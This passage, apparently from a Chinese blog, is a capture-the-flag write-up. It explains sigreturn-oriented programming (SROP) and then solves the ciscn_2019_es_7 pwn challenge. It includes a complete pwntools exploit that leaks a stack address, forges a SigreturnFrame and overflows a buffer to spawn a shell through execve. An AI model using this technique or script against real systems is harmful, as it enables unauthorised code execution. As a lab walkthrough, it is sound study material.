步骤:
rt_sigreturn
,这个地址指向一段代码,在这段代码中会调用sigreturn
系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn
,所以,signal handler函数的最后一条ret
指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn
系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn
,我们将这段内存称为一个Signal Frame
。 sigreturn
系统调用处理函数中,会根据当前的栈指针指向的Signal Frame
对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。首先,内核替用户进程将其上下文保存在Signal Frame
中,然后,内核利用这个Signal Frame
恢复用户进程的上下文,done!那么,问题来了:
第一、这个Signal Frame
是被保存在用户进程的地址空间中的,是用户进程可读写的;
第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn
这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame
就是之前内核为用户进程保存的那个Signal Frame
。
按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!
让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame
,如下图所示
在这个伪造的Signal Frame
中,将rax
设置成59(即execve
系统调用号),将rdi
设置成字符串/bin/sh
的地址(该字符串可以是攻击者写在栈上的),将rip
设置成系统调用指令syscall
的内存地址,最后,将rt_sigreturn
手动设置成sigreturn
系统调用的内存地址。那么,当这个伪造的sigreturn
系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn
返回,就会去执行execve
系统调用,打开一个shell。
这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh
的地址);
第三,需要知道syscall
指令在内存中的地址;
第四,需要知道sigreturn
系统调用的内存地址。
搞清楚上述的内容后就可以解出这道题了
buf存在溢出,可以控制栈上的内容,满足了第一个条件
程序使用了一次read一次write,buf的大小只有0x10,但是write打印了0x30,会打印多余的东西,
rax=0x4004f1
p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)
我们先往buf里写入内容,write会打印出来,接收看一下,打印出来了多余的地址,我们接收一下就获得了栈上的地址
找一下‘bin/sh’在栈上的地址
调试的时候使用info proc map
命令查看当前进程的内存映射,find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh"
在栈中查找‘/bin/sh’的地址,找到它在栈上的地址是0x7ffe697e0160
,与泄露出来的栈上的地址的偏移是0x7ffe697e0278-0x7ffe697e0160=0x118
,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址,满足了第二个条件
找一下syscall;ret
指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件
找一下sigreturn
系统调用的内存地址
如果我们将sigreturn
当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax
寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall
,效果和调用一个sigreturn
是一样一样的。
发现程序里有现成的rax=15(调用sigreturn
)和rax=59(调用execv
),满足了第四个条件
条件都满足了,接下来就可以用pwntools来帮助我们生成这个Signal Frame
了
context(os='linux',arch='amd64',log_level='debug')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
最后利用溢出,完成SROP利用
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
完整exp:根据ctfwiki上的修改
from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')
p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447)
syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2
rax=0x4004f1
p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)
#gdb.attach(p)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
p.interactive()
手机扫一扫
移动阅读更方便
你可能感兴趣的文章